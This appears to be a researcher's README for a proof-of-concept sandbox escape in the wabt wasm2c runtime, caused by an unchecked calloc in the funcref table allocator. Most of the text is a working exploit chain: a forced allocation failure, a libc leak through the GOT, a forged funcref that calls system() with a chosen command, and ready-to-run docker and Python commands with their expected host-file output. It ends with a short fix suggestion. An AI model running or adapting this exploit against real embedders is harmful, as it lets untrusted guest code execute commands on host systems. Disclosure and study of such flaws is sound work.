Read the blog: trustsig.eu/blog
wasm_rt_allocate_funcref_table() in wasm2c/wasm-rt-impl-tableops.inc sets
table->size from the module's declared element count and then ignores the result of
calloc(). When the allocation fails the table is left with data == NULL and the full
declared size, so every bounds check still passes and table->data[i] becomes the
absolute address i * sizeof(wasm_rt_funcref_t).
The element count comes from the guest, so the guest picks the allocation size and can force the failure.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
The image clones wabt at tag 1.0.41 from upstream, builds wat2wasm and wasm2c,
compiles the guest module and a plain embedder, and runs it.
Expected output:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
The last line is the contents of /tmp/pwned.txt, a file that did not exist before the
sandboxed module ran.
Verified on linux/arm64 and linux/amd64. Nothing in the module is architecture
specific: the instance address, the GOT slot and the libc offset are all resolved at
build time from the binary that was just built and from that image's libc.
On Linux, with clang, cmake, ninja and binutils installed:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS is not a supported target for this PoC. Darwin does not enforce RLIMIT_AS, so
the oversized calloc succeeds and the bug never triggers, arm64 macOS builds are always
position independent, and Mach-O has no ELF GOT for the leak step. The defect itself is
platform independent; only this exploit chain is Linux specific.
Other versions and commands:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
- Declares
(table $t 2147483648 funcref). The 68 GBcallocfails,datais NULL,sizestays2147483648, and table indices become absolute addresses. table.getatgot_slot/32reads the embedder's GOT through the broken table andtable.setstores the result into the module's own globals, where wasm code can read it as an integer. That leaks libc'smallocaddress, andsystemfollows from a fixed distance in the target's libc.- Builds a
wasm_rt_funcref_tin four consecutive globals:func_typepointing at a copy of the call site's type hash (func_types_eq_slowpathcompares it withmemcmp, so guest-controlled bytes pass the check),func=system, andmodule_instance= the command string, also held in globals. call_indirectatglobals_addr/32. wasm2c emits((t)entry.func)(entry.module_instance, ...), so this callssystem(command).
Only layout fact baked into the module is the address of the module instance, which is a global and therefore fixed in a non-PIE embedder. ASLR stays enabled; the libc address is leaked at runtime.
The table allocation has to fail. The PoC uses ulimit -v 1000000, an address space
limit of the kind a host that runs untrusted code would set. It also fails on 32-bit
hosts, where the allocation cannot be satisfied at all, with
vm.overcommit_memory=2, or under enough memory pressure.
On stock 64-bit Linux with the default overcommit heuristic the allocation succeeds and is never touched, which is why the bug survives normal testing.
Every release that ships wasm2c tables. The unchecked calloc dates to commit
ab9e0b55 (#813). Verified against released 1.0.41 and current main.
The memory allocator in the same runtime handles this case:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}The table allocator needs the same check.
Dockerfilebuilds wabt and runs the PoC.tableflip_poc.pygenerates the guest module, builds the embedder, resolves the three constants out of the built binary and the target's libc withnmandreadelf, and runs it. The embedder it emits contains no exploit support code.